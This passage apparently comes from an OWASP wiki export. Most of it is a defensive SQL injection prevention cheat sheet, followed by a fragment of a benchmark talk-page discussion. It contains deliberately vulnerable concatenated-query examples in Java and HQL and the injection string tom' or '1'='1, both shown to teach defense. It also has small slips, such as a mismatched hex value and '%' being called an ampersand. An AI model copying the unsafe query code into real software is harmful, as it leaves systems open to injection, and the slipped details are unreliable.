The following (Java) example is UNSAFE, and would allow an attacker to inject code into the query that would be executed by the database. The unvalidated “customerName” parameter that is simply appended to the query allows an attacker to inject any SQL code they want. Unfortunately, this method for accessing databases is all too common.&lt;br /&gt;
&lt;br /&gt;
  String query = &amp;quot;SELECT account_balance FROM user_data WHERE user_name = &amp;quot;&lt;br /&gt;
    + request.getParameter(&amp;quot;customerName&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  try {&lt;br /&gt;
  	Statement statement = connection.createStatement( … );&lt;br /&gt;
  	ResultSet results = statement.executeQuery( query );&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
=Primary Defenses=&lt;br /&gt;
&lt;br /&gt;
==Defense Option 1: Prepared Statements (with Parameterized Queries)==&lt;br /&gt;
&lt;br /&gt;
The use of prepared statements with variable binding (aka parameterized queries) is how all developers should first be taught how to write database queries. They are simple to write, and easier to understand than dynamic queries. Parameterized queries force the developer to first define all the SQL code, and then pass in each parameter to the query later. This coding style allows the database to distinguish between code and data, regardless of what user input is supplied.&lt;br /&gt;
&lt;br /&gt;
Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. In the safe example below, if an attacker were to enter the userID of tom' or '1'='1, the parameterized query would not be vulnerable and would instead look for a username which literally matched the entire string tom' or '1'='1.&lt;br /&gt;
&lt;br /&gt;
Language specific recommendations:&lt;br /&gt;
* Java EE – use PreparedStatement() with bind variables&lt;br /&gt;
* .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables&lt;br /&gt;
* PHP – use PDO with strongly typed parameterized queries (using bindParam())&lt;br /&gt;
* Hibernate - use createQuery() with bind variables (called named parameters in Hibernate)&lt;br /&gt;
* SQLite - use sqlite3_prepare() to create a [http://www.sqlite.org/c3ref/stmt.html statement object]&lt;br /&gt;
&lt;br /&gt;
In rare circumstances, prepared statements can harm performance. When confronted with this situation, it is best to either a) strongly validate all data or b) escape all user supplied input using an escaping routine specific to your database vendor as described below, rather than using a prepared statement.&lt;br /&gt;
&lt;br /&gt;
;Safe Java Prepared Statement Example	&lt;br /&gt;
&lt;br /&gt;
The following code example uses a PreparedStatement, Java's implementation of a parameterized query, to execute the same database query.&lt;br /&gt;
&lt;br /&gt;
  String custname = request.getParameter(&amp;quot;customerName&amp;quot;); // This should REALLY be validated too&lt;br /&gt;
  // perform input validation to detect attacks&lt;br /&gt;
  String query = &amp;quot;SELECT account_balance FROM user_data WHERE user_name = ? &amp;quot;;&lt;br /&gt;
  &lt;br /&gt;
  '''PreparedStatement pstmt = connection.prepareStatement( query );'''&lt;br /&gt;
  '''pstmt.setString( 1, custname); '''&lt;br /&gt;
  ResultSet results = pstmt.executeQuery( );&lt;br /&gt;
&lt;br /&gt;
;Safe C# .NET Prepared Statement Example	&lt;br /&gt;
&lt;br /&gt;
With .NET, it's even more straightforward. The creation and execution of the query doesn't change. All you have to do is simply pass the parameters to the query using the Parameters.Add() call as shown here.&lt;br /&gt;
 &lt;br /&gt;
  String query = &lt;br /&gt;
  	 &amp;quot;SELECT account_balance FROM user_data WHERE user_name = ?&amp;quot;;&lt;br /&gt;
  try {&lt;br /&gt;
  	OleDbCommand command = new OleDbCommand(query, connection);&lt;br /&gt;
  	'''command.Parameters.Add(new OleDbParameter(&amp;quot;customerName&amp;quot;, CustomerName Name.Text));'''&lt;br /&gt;
  	OleDbDataReader reader = command.ExecuteReader();&lt;br /&gt;
  	// …&lt;br /&gt;
  } catch (OleDbException se) {&lt;br /&gt;
  	// error handling&lt;br /&gt;
  } &lt;br /&gt;
&lt;br /&gt;
We have shown examples in Java and .NET but practically all other languages, including Cold Fusion, and Classic ASP, support parameterized query interfaces. Even SQL abstraction layers, like the [http://www.hibernate.org/ Hibernate Query Language] (HQL) have the same type of injection problems (which we call [http://cwe.mitre.org/data/definitions/564.html HQL Injection]). HQL supports parameterized queries as well, so we can avoid this problem:&lt;br /&gt;
&lt;br /&gt;
;Hibernate Query Language (HQL) Prepared Statement (Named Parameters) Examples	&lt;br /&gt;
&lt;br /&gt;
  First is an unsafe HQL Statement&lt;br /&gt;
  &lt;br /&gt;
  Query unsafeHQLQuery = session.createQuery(&amp;quot;from Inventory where productID='&amp;quot;+userSuppliedParameter+&amp;quot;'&amp;quot;);&lt;br /&gt;
  &lt;br /&gt;
  Here is a safe version of the same query using named parameters&lt;br /&gt;
  &lt;br /&gt;
  Query safeHQLQuery = session.createQuery(&amp;quot;from Inventory where productID=:productid&amp;quot;);&lt;br /&gt;
  safeHQLQuery.setParameter(&amp;quot;productid&amp;quot;, userSuppliedParameter);&lt;br /&gt;
&lt;br /&gt;
For examples of parameterized queries in other languages, including Ruby, PHP, Cold Fusion, and Perl, see the [[Query Parameterization Cheat Sheet]] or http://bobby-tables.com/.&lt;br /&gt;
&lt;br /&gt;
Developers tend to like the Prepared Statement approach because all the SQL code stays within the application. This makes your application relatively database independent.&lt;br /&gt;
&lt;br /&gt;
== Defense Option 2: Stored Procedures ==&lt;br /&gt;
 &lt;br /&gt;
Stored procedures are not always safe from SQL injection. However, certain standard stored procedure programming constructs have the same effect as the use of parameterized queries when implemented safely* which is the norm for most stored procedure languages. They require the developer to just build SQL statements with parameters which are automatically parameterized unless the developer does something largely out of the norm. The difference between prepared statements and stored procedures is that the SQL code for a stored procedure is defined and stored in the database itself, and then called from the application. Both of these techniques have the same effectiveness in preventing SQL injection so your organization should choose which approach makes the most sense for you.&lt;br /&gt;
 	&lt;br /&gt;
&amp;amp;#42;Note: 'Implemented safely' means the stored procedure does not include any unsafe dynamic SQL generation. Developers do not usually generate dynamic SQL inside stored procedures. However, it can be done, but should be avoided. If it can't be avoided, the stored procedure must use input validation or proper escaping as described in this article to make sure that all user supplied input to the stored procedure can't be used to inject SQL code into the dynamically generated query. Auditors should always look for uses of sp_execute, execute or exec within SQL Server stored procedures. Similar audit guidelines are necessary for similar functions for other vendors.&lt;br /&gt;
 &lt;br /&gt;
There are also several cases where stored procedures can increase risk.  For example, on MS SQL server, you have 3 main default roles: db_datareader, db_datawriter and db_owner. Before stored procedures came into use, DBA's would give db_datareader or db_datawriter rights to the webservice's user, depending on the requirements. However, stored procedures require execute rights, a role that is not available by default. Some setups where the user management has been centralized, but is limited to those 3 roles, cause all web apps to run under db_owner rights so stored procedures can work. Naturally, that means that if a server is breached the attacker has full rights to the database, where previously they might only have had read-access. More on this topic here. http://www.sqldbatips.com/showarticle.asp?ID=8&lt;br /&gt;
&lt;br /&gt;
;Safe Java Stored Procedure Example&lt;br /&gt;
&lt;br /&gt;
The following code example uses a CallableStatement, Java's implementation of the stored procedure interface, to execute the same database query. The &amp;quot;sp_getAccountBalance&amp;quot; stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.&lt;br /&gt;
 &lt;br /&gt;
  String custname = request.getParameter(&amp;quot;customerName&amp;quot;); // This should REALLY be validated&lt;br /&gt;
  try {&lt;br /&gt;
  	'''CallableStatement cs = connection.prepareCall(&amp;quot;{call sp_getAccountBalance(?)}&amp;quot;);'''&lt;br /&gt;
  	'''cs.setString(1, custname);'''&lt;br /&gt;
  	ResultSet results = cs.executeQuery();		&lt;br /&gt;
  	// … result set handling &lt;br /&gt;
  } catch (SQLException se) {			&lt;br /&gt;
  	// … logging and error handling&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
;Safe VB .NET Stored Procedure Example	&lt;br /&gt;
&lt;br /&gt;
The following code example uses a SqlCommand, .NET’s implementation of the stored procedure interface, to execute the same database query. The &amp;quot;sp_getAccountBalance&amp;quot; stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.&lt;br /&gt;
 &lt;br /&gt;
  Try&lt;br /&gt;
  	Dim command As SqlCommand = new SqlCommand(&amp;quot;sp_getAccountBalance&amp;quot;, connection)&lt;br /&gt;
  	'''command.CommandType = CommandType.StoredProcedure'''&lt;br /&gt;
  	'''command.Parameters.Add(new SqlParameter(&amp;quot;@CustomerName&amp;quot;, CustomerName.Text))'''&lt;br /&gt;
  	Dim reader As SqlDataReader = command.ExecuteReader()&lt;br /&gt;
  	‘ …&lt;br /&gt;
  Catch se As SqlException &lt;br /&gt;
  	‘ error handling&lt;br /&gt;
  End Try&lt;br /&gt;
&lt;br /&gt;
== Defense Option 3: White List Input Validation ==&lt;br /&gt;
&lt;br /&gt;
Various parts of SQL queries aren't legal locations for the use of bind variables, such as the names of tables or columns, and the sort order indicator (ASC or DESC). In such situations, input validation or query redesign is the most appropriate defense. For the names of tables or columns, ideally those values come from the code, and not from user parameters. But if user parameter values are used to make different for table names and column names, then the parameter values should be mapped to the legal/expected table or column names to make sure unvalidated user input doesn't end up in the query. Please note, this is a symptom of poor design and a full re-write should be considered if time allows. Here is an example of table name validation.&lt;br /&gt;
&lt;br /&gt;
  String tableName;&lt;br /&gt;
  switch(PARAM):&lt;br /&gt;
    case &amp;quot;Value1&amp;quot;: tableName = &amp;quot;fooTable&amp;quot;;&lt;br /&gt;
                   break;&lt;br /&gt;
    case &amp;quot;Value2&amp;quot;: tableName = &amp;quot;barTable&amp;quot;;&lt;br /&gt;
                   break;&lt;br /&gt;
      ...&lt;br /&gt;
    default      : throw new InputValidationException(&amp;quot;unexpected value provided for table name&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The tableName can then be directly appended to the SQL query since it is now known to be one of the legal and expected values for a table name in this query. Keep in mind that generic table validation functions can lead to data loss as table names are used in queries where they are not expected.&lt;br /&gt;
&lt;br /&gt;
For something simple like a sort order, it would be best if the user supplied input is converted to a boolean, and then that boolean is used to select the safe value to append to the query. This is a very standard need in dynamic query creation. For example:&lt;br /&gt;
&lt;br /&gt;
  public String someMethod(boolean sortOrder) {&lt;br /&gt;
  &lt;br /&gt;
  String SQLquery = &amp;quot;some SQL ... order by Salary &amp;quot; + (sortOrder ? &amp;quot;ASC&amp;quot; : &amp;quot;DESC&amp;quot;);&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Any time user input can be converted to a non-String, like a date, numeric, boolean, enumerated type, etc. before it is appended to a query, or used to select a value to append to the query, this ensures it is safe to do so.&lt;br /&gt;
&lt;br /&gt;
Input validation is also recommended as a secondary defense in ALL cases, even when using bind variables as is discussed later in this article. More techniques on how to implement strong white list input validation is described in the [[Input Validation Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
==Defense Option 4: Escaping All User-Supplied Input==&lt;br /&gt;
&lt;br /&gt;
This technique should only be used as a last resort, when none of the above are feasible. Input validation is probably a better choice as this methodology is frail compared to other defenses and we cannot guarantee it will prevent all SQL Injection in all situations. &lt;br /&gt;
&lt;br /&gt;
This technique is to escape user input before putting it in a query. It is very database specific in its implementation. It's usually only recommended to retrofit legacy code when implementing input validation isn't cost effective. Applications built from scratch, or applications requiring low risk tolerance should be built or re-written using parameterized queries, stored procedures, or some kind of Object Relational Mapper (ORM) that builds your queries for you.&lt;br /&gt;
&lt;br /&gt;
This technique works like this. Each DBMS supports one or more character escaping schemes specific to certain kinds of queries. If you then escape all user supplied input using the proper escaping scheme for the database you are using, the DBMS will not confuse that input with SQL code written by the developer, thus avoiding any possible SQL injection vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
The OWASP Enterprise Security API (ESAPI) is a free, open source, web application security control library that makes it easier for programmers to write lower-risk applications. The ESAPI libraries are designed to make it easier for programmers to retrofit security into existing applications. The ESAPI libraries also serve as a solid foundation for new development.&lt;br /&gt;
&lt;br /&gt;
* Full details on [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API ESAPI are available here on OWASP].&lt;br /&gt;
* The javadoc for [http://www.javadoc.io/doc/org.owasp.esapi/esapi/2.1.0 ESAPI 2.x (Legacy) is available]. This code was migrated to GitHub in November 2014.&lt;br /&gt;
* Directly [http://code.google.com/p/owasp-esapi-java/source/browse/#svn/trunk/src/main/java/org/owasp/esapi browse the source for ESAPI for Java 2.x (Legacy) at GitHub], which is frequently helpful if the javadoc isn't perfectly clear.&lt;br /&gt;
* Directly [[Https://github.com/ESAPI/esapi-java|browse browse the source for ESAPI for Java 3.x (Active) at GitHub]].&lt;br /&gt;
&lt;br /&gt;
To find the javadoc specifically for the database encoders, click on the ‘Codec’ class on the left hand side. There are lots of Codecs implemented. The two Database specific codecs are OracleCodec, and MySQLCodec.&lt;br /&gt;
&lt;br /&gt;
Just click on their names in the ‘All Known Implementing Classes:’ at the top of the Interface Codec page.&lt;br /&gt;
&lt;br /&gt;
At this time, ESAPI currently has database encoders for:&lt;br /&gt;
* Oracle&lt;br /&gt;
* MySQL (Both ANSI and native modes are supported)&lt;br /&gt;
&lt;br /&gt;
Database encoders are forthcoming for:&lt;br /&gt;
* SQL Server&lt;br /&gt;
* PostgreSQL&lt;br /&gt;
&lt;br /&gt;
If your database encoder is missing, please let us know.&lt;br /&gt;
&lt;br /&gt;
===Database Specific Escaping Details===&lt;br /&gt;
&lt;br /&gt;
If you want to build your own escaping routines, here are the escaping details for each of the databases that we have developed ESAPI Encoders for:&lt;br /&gt;
* Oracle&lt;br /&gt;
* SQL Server&lt;br /&gt;
* DB2&lt;br /&gt;
&lt;br /&gt;
====Oracle Escaping====&lt;br /&gt;
&lt;br /&gt;
This information is based on the Oracle Escape character information found here: http://www.orafaq.com/wiki/SQL_FAQ#How_does_one_escape_special_characters_when_writing_SQL_queries.3F&lt;br /&gt;
&lt;br /&gt;
=====Escaping Dynamic Queries=====&lt;br /&gt;
&lt;br /&gt;
To use an ESAPI database codec is pretty simple. An Oracle example looks something like:&lt;br /&gt;
  ESAPI.encoder().encodeForSQL( new OracleCodec(), queryparam );&lt;br /&gt;
&lt;br /&gt;
So, if you had an existing Dynamic query being generated in your code that was going to Oracle that looked like this:&lt;br /&gt;
&lt;br /&gt;
  String query = &amp;quot;SELECT user_id FROM user_data WHERE user_name = '&amp;quot; + req.getParameter(&amp;quot;userID&amp;quot;) &lt;br /&gt;
  + &amp;quot;' and user_password = '&amp;quot; + req.getParameter(&amp;quot;pwd&amp;quot;) +&amp;quot;'&amp;quot;;&lt;br /&gt;
  try {&lt;br /&gt;
      Statement statement = connection.createStatement( … );&lt;br /&gt;
      ResultSet results = statement.executeQuery( query );&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
You would rewrite the first line to look like this:&lt;br /&gt;
&lt;br /&gt;
 '''Codec ORACLE_CODEC = new OracleCodec();'''&lt;br /&gt;
  String query = &amp;quot;SELECT user_id FROM user_data WHERE user_name = '&amp;quot; + &lt;br /&gt;
    '''ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter(&amp;quot;userID&amp;quot;))''' + &amp;quot;' and user_password = '&amp;quot;&lt;br /&gt;
    + '''ESAPI.encoder().encodeForSQL( ORACLE_CODEC, req.getParameter(&amp;quot;pwd&amp;quot;))''' +&amp;quot;'&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
And it would now be safe from SQL injection, regardless of the input supplied.&lt;br /&gt;
&lt;br /&gt;
For maximum code readability, you could also construct your own OracleEncoder.&lt;br /&gt;
&lt;br /&gt;
  Encoder oe = new OracleEncoder();&lt;br /&gt;
  String query = &amp;quot;SELECT user_id FROM user_data WHERE user_name = '&amp;quot; &lt;br /&gt;
    + '''oe.encode( req.getParameter(&amp;quot;userID&amp;quot;))''' + &amp;quot;' and user_password = '&amp;quot; &lt;br /&gt;
    + '''oe.encode( req.getParameter(&amp;quot;pwd&amp;quot;))''' +&amp;quot;'&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
With this type of solution, you would need only to wrap each user-supplied parameter being passed into an '''ESAPI.encoder().encodeForOracle( )''' call or whatever you named the call and you would be done.&lt;br /&gt;
&lt;br /&gt;
=====Turn off character replacement=====&lt;br /&gt;
&lt;br /&gt;
Use SET DEFINE OFF or SET SCAN OFF to ensure that automatic character replacement is turned off. If this character replacement is turned on, the &amp;amp; character will be treated like a SQLPlus variable prefix that could allow an attacker to retrieve private data. &lt;br /&gt;
&lt;br /&gt;
See http://download.oracle.com/docs/cd/B19306_01/server.102/b14357/ch12040.htm#i2698854 and http://stackoverflow.com/questions/152837/how-to-insert-a-string-which-contains-an for more information&lt;br /&gt;
&lt;br /&gt;
=====Escaping Wildcard characters in Like Clauses=====&lt;br /&gt;
&lt;br /&gt;
The LIKE keyword allows for text scanning searches. In Oracle, the underscore '_' character matches only one character, while the ampersand '%' is used to match zero or more occurrences of any characters. These characters must be escaped in LIKE clause criteria. For example:&lt;br /&gt;
&lt;br /&gt;
 SELECT name FROM emp &lt;br /&gt;
 WHERE id LIKE '%/_%' ESCAPE '/';&lt;br /&gt;
&lt;br /&gt;
 SELECT name FROM emp &lt;br /&gt;
 WHERE id LIKE '%\%%' ESCAPE '\';&lt;br /&gt;
&lt;br /&gt;
=====Oracle 10g escaping=====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;An alternative for Oracle 10g and later is to place { and } around the string to escape the entire string. However, you have to be careful that there isn't a } character already in the string. You must search for these and if there is one, then you must replace it with }}. Otherwise that character will end the escaping early, and may introduce a vulnerability.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====MySQL Escaping====&lt;br /&gt;
&lt;br /&gt;
MySQL supports two escaping modes:&lt;br /&gt;
&lt;br /&gt;
# ANSI_QUOTES SQL mode, and a mode with this off, which we call&lt;br /&gt;
# MySQL mode.&lt;br /&gt;
&lt;br /&gt;
ANSI SQL mode: Simply encode all ' (single tick) characters with '&amp;amp;#39; (two single ticks)&lt;br /&gt;
&lt;br /&gt;
MySQL mode, do the following:&lt;br /&gt;
&lt;br /&gt;
  NUL (0x00) --&amp;gt; \0  [This is a zero, not the letter O]&lt;br /&gt;
  BS  (0x08) --&amp;gt; \b&lt;br /&gt;
  TAB (0x09) --&amp;gt; \t&lt;br /&gt;
  LF  (0x0a) --&amp;gt; \n&lt;br /&gt;
  CR  (0x0d) --&amp;gt; \r&lt;br /&gt;
  SUB (0x1a) --&amp;gt; \Z&lt;br /&gt;
  &amp;quot;   (0x22) --&amp;gt; \&amp;quot;&lt;br /&gt;
  %   (0x25) --&amp;gt; \%&lt;br /&gt;
  '   (0x27) --&amp;gt; \'&lt;br /&gt;
  \   (0x5c) --&amp;gt; \\&lt;br /&gt;
  _   (0x5f) --&amp;gt; \_ &lt;br /&gt;
  all other non-alphanumeric characters with ASCII values less than 256  --&amp;gt; \c&lt;br /&gt;
  where 'c' is the original non-alphanumeric character.&lt;br /&gt;
&lt;br /&gt;
This information is based on the MySQL Escape character information found here: https://dev.mysql.com/doc/refman/5.7/en/string-literals.html&lt;br /&gt;
&lt;br /&gt;
====SQL Server Escaping====&lt;br /&gt;
&lt;br /&gt;
We have not implemented the SQL Server escaping routine yet, but the following has good pointers and links to articles describing how to prevent SQL injection attacks on SQL server&lt;br /&gt;
* http://blogs.msdn.com/raulga/archive/2007/01/04/dynamic-sql-sql-injection.aspx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====DB2 Escaping====&lt;br /&gt;
This information is based on DB2 WebQuery special characters found here:  https://www-304.ibm.com/support/docview.wss?uid=nas14488c61e3223e8a78625744f00782983&lt;br /&gt;
as well as some information from Oracle's JDBC DB2 driver found here:&lt;br /&gt;
http://docs.oracle.com/cd/E12840_01/wls/docs103/jdbc_drivers/sqlescape.html&lt;br /&gt;
&lt;br /&gt;
Information in regards to differences between several DB2 Universal drivers can be found here:  http://publib.boulder.ibm.com/infocenter/db2luw/v8/index.jsp?topic=/com.ibm.db2.udb.doc/ad/rjvjcsqc.htm&lt;br /&gt;
&lt;br /&gt;
===Hex-encoding all input===&lt;br /&gt;
&lt;br /&gt;
A somewhat special case of escaping is the process of hex-encode the entire string received from the user (this can be seen as escaping every character).  The web application should hex-encode the user input before including it in the SQL statement.  The SQL statement should take into account this fact, and accordingly compare the data. For example, if we have to look up a record matching a sessionID, and the user transmitted the string abc123 as the session ID, the select statement would be:&lt;br /&gt;
&lt;br /&gt;
    SELECT ... FROM session&lt;br /&gt;
    WHERE hex_encode (sessionID) = '616263313233'&lt;br /&gt;
&lt;br /&gt;
(hex_encode should be replaced by the particular facility for the database being used.)  The string 606162313233 is the hex encoded version of the string received from the user (it is the sequence of hex values of the ASCII/UTF-8 codes of the user data).&lt;br /&gt;
&lt;br /&gt;
If an attacker were to transmit a string containing a single-quote character followed by their attempt to inject SQL code, the constructed SQL statement will only look like:&lt;br /&gt;
&lt;br /&gt;
    WHERE hex_encode ( ... ) = '2720 ... '&lt;br /&gt;
&lt;br /&gt;
27 being the ASCII code (in hex) of the single-quote, which is simply hex-encoded like any other character in the string.  The resulting SQL can only contain numeric digits and letters a to f, and never any special character that could enable an SQL injection.&lt;br /&gt;
&lt;br /&gt;
===Escaping SQLi in PHP===&lt;br /&gt;
&lt;br /&gt;
Use prepared statements and parameterized queries. These are SQL statements that are sent to and parsed by the database server separately from any parameters. This way it is impossible for an attacker to inject malicious SQL.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;You basically have two options to achieve this:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
1. Using [http://php.net/manual/en/book.pdo.php PDO] (for any supported database driver):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$stmt = $pdo-&amp;gt;prepare('SELECT * FROM employees WHERE name = :name');&lt;br /&gt;
&lt;br /&gt;
$stmt-&amp;gt;execute(array('name' =&amp;gt; $name));&lt;br /&gt;
&lt;br /&gt;
foreach ($stmt as $row) {&lt;br /&gt;
    // do something with $row&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
2. Using [http://php.net/manual/en/book.mysqli.php MySQLi] (for MySQL):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$stmt = $dbConnection-&amp;gt;prepare('SELECT * FROM employees WHERE name = ?');&lt;br /&gt;
$stmt-&amp;gt;bind_param('s', $name);&lt;br /&gt;
&lt;br /&gt;
$stmt-&amp;gt;execute();&lt;br /&gt;
&lt;br /&gt;
$result = $stmt-&amp;gt;get_result();&lt;br /&gt;
while ($row = $result-&amp;gt;fetch_assoc()) {&lt;br /&gt;
    // do something with $row&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
PDO is the universal option. If you're connecting to a database other than MySQL, you can refer to a driver-specific second option (e.g. pg_prepare() and pg_execute() for PostgreSQL). &lt;br /&gt;
&lt;br /&gt;
= Additional Defenses =&lt;br /&gt;
&lt;br /&gt;
Beyond adopting one of the four primary defenses, we also recommend adopting all of these additional defenses in order to provide defense in depth. These additional defenses are:&lt;br /&gt;
&lt;br /&gt;
* '''Least Privilege'''&lt;br /&gt;
* '''White List Input Validation'''&lt;br /&gt;
&lt;br /&gt;
== Least Privilege ==&lt;br /&gt;
&lt;br /&gt;
To minimize the potential damage of a successful SQL injection attack, you should minimize the privileges assigned to every database account in your environment. Do not assign DBA or admin type access rights to your application accounts. We understand that this is easy, and everything just ‘works’ when you do it this way, but it is very dangerous. Start from the ground up to determine what access rights your application accounts require, rather than trying to figure out what access rights you need to take away. Make sure that accounts that only need read access are only granted read access to the tables they need access to. If an account only needs access to portions of a table, consider creating a view that limits access to that portion of the data and assigning the account access to the view instead, rather than the underlying table. Rarely, if ever, grant create or delete access to database accounts.&lt;br /&gt;
&lt;br /&gt;
If you adopt a policy where you use stored procedures everywhere, and don’t allow application accounts to directly execute their own queries, then restrict those accounts to only be able to execute the stored procedures they need. Don’t grant them any rights directly to the tables in the database.&lt;br /&gt;
&lt;br /&gt;
SQL injection is not the only threat to your database data. Attackers can simply change the parameter values from one of the legal values they are presented with, to a value that is unauthorized for them, but the application itself might be authorized to access. As such, minimizing the privileges granted to your application will reduce the likelihood of such unauthorized access attempts, even when an attacker is not trying to use SQL injection as part of their exploit.&lt;br /&gt;
&lt;br /&gt;
While you are at it, you should minimize the privileges of the operating system account that the DBMS runs under. Don't run your DBMS as root or system! Most DBMSs run out of the box with a very powerful system account. For example, MySQL runs as system on Windows by default! Change the DBMS's OS account to something more appropriate, with restricted privileges.&lt;br /&gt;
&lt;br /&gt;
=== Multiple DB Users ===&lt;br /&gt;
&lt;br /&gt;
The designer of web applications should not only avoid using the same owner/admin account in the web applications to connect to the database. Different DB users could be used for different web applications. In general, each separate web application that requires access to the database could have a designated database user account that the web-app will use to connect to the DB. That way, the designer of the application can have good granularity in the access control, thus reducing the privileges as much as possible. Each DB user will then have select access to what it needs only, and write-access as needed.&lt;br /&gt;
&lt;br /&gt;
As an example, a login page requires read access to the username and password fields of a table, but no write access of any form (no insert, update, or delete). However, the sign-up page certainly requires insert privilege to that table; this restriction can only be enforced if these web apps use different DB users to connect to the database.&lt;br /&gt;
&lt;br /&gt;
=== Views ===&lt;br /&gt;
&lt;br /&gt;
You can use SQL views to further increase the granularity of access by limiting the read access to specific fields of a table or joins of tables. It could potentially have additional benefits: for example, suppose that the system is required (perhaps due to some specific legal requirements) to store the passwords of the users, instead of salted-hashed passwords.  The designer could use views to compensate for this limitation; revoke all access to the table (from all DB users except the owner/admin) and create a view that outputs the hash of the password field and not the field itself.  Any SQL injection attack that succeeds in stealing DB information will be restricted to stealing the hash of the passwords (could even be a keyed hash), since no DB user for any of the web applications has access to the table itself.&lt;br /&gt;
&lt;br /&gt;
== White List Input Validation ==&lt;br /&gt;
&lt;br /&gt;
In addition to being a primary defense when nothing else is possible (e.g., when a bind variable isn't legal), input validation can also be a secondary defense used to detect unauthorized input before it is passed to the SQL query. For more information please see the [[Input Validation Cheat Sheet]]. Proceed with caution here. Validated data is not necessarily safe to insert into SQL queries via string building.&lt;br /&gt;
&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Related Articles=&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection Attack Cheat Sheets'''&lt;br /&gt;
&lt;br /&gt;
The following articles describe how to exploit different kinds of SQL Injection Vulnerabilities on various platforms that this article was created to help you avoid:&lt;br /&gt;
&lt;br /&gt;
* &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* &amp;quot;Bypassing WAF's with SQLi&amp;quot; - [[SQL Injection Bypassing WAF]]&lt;br /&gt;
&lt;br /&gt;
'''Description of SQL Injection Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* OWASP article on [[SQL Injection]] Vulnerabilities&lt;br /&gt;
* OWASP article on [[Blind_SQL_Injection]] Vulnerabilities&lt;br /&gt;
&lt;br /&gt;
'''How to Avoid SQL Injection Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP Guide Project|OWASP Developers Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities&lt;br /&gt;
* OWASP Cheat Sheet that provides [[Query_Parameterization_Cheat_Sheet|numerous language specific examples of parameterized queries using both Prepared Statements and Stored Procedures]]&lt;br /&gt;
* [http://bobby-tables.com/ The Bobby Tables site (inspired by the XKCD webcomic) has numerous examples in different languages of parameterized Prepared Statements and Stored Procedures]&lt;br /&gt;
&lt;br /&gt;
'''How to Review Code for SQL Injection Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities&lt;br /&gt;
&lt;br /&gt;
'''How to Test for SQL Injection Vulnerabilities'''&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:wichers|Dave Wichers]] - dave.wichers[at]owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
[[User:jmanico|Jim Manico]] - jim[at]owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
Matt Seil - mseil[at]acm.org&amp;lt;br&amp;gt;&lt;br /&gt;
[https://owasp.org/index.php/Dhiraj_Mishra Dhiraj Mishra] - mishra.dhiraj[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets = &lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Eelgheez</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=231729</id>
		<title>Talk:Benchmark</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Talk:Benchmark&amp;diff=231729"/>
				<updated>2017-07-17T12:37:03Z</updated>
		
		<summary type="html">&lt;p&gt;Eelgheez: Clean up and agree&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== The meaning of the diagonal ==&lt;br /&gt;
&lt;br /&gt;
I don't think it's fair to call the diagonal line in the FPR/TPR chart a &amp;quot;random guess&amp;quot; line.  The FPR == TPR equation translates to FP/(FP+TN) == TP/(TP+FN), meaning FP*FN == TN*TP, or FP/TP == TN/FN.  The FPR &amp;gt; TPR area below the line does not put the tool into a &amp;quot;worse than guessing&amp;quot; shame list.  The formulas suggests a different interpretation of that area, &amp;quot;the noise rate in reporting non-issues exceeds the sensitivity about real issues&amp;quot;.  &lt;br /&gt;
&lt;br /&gt;
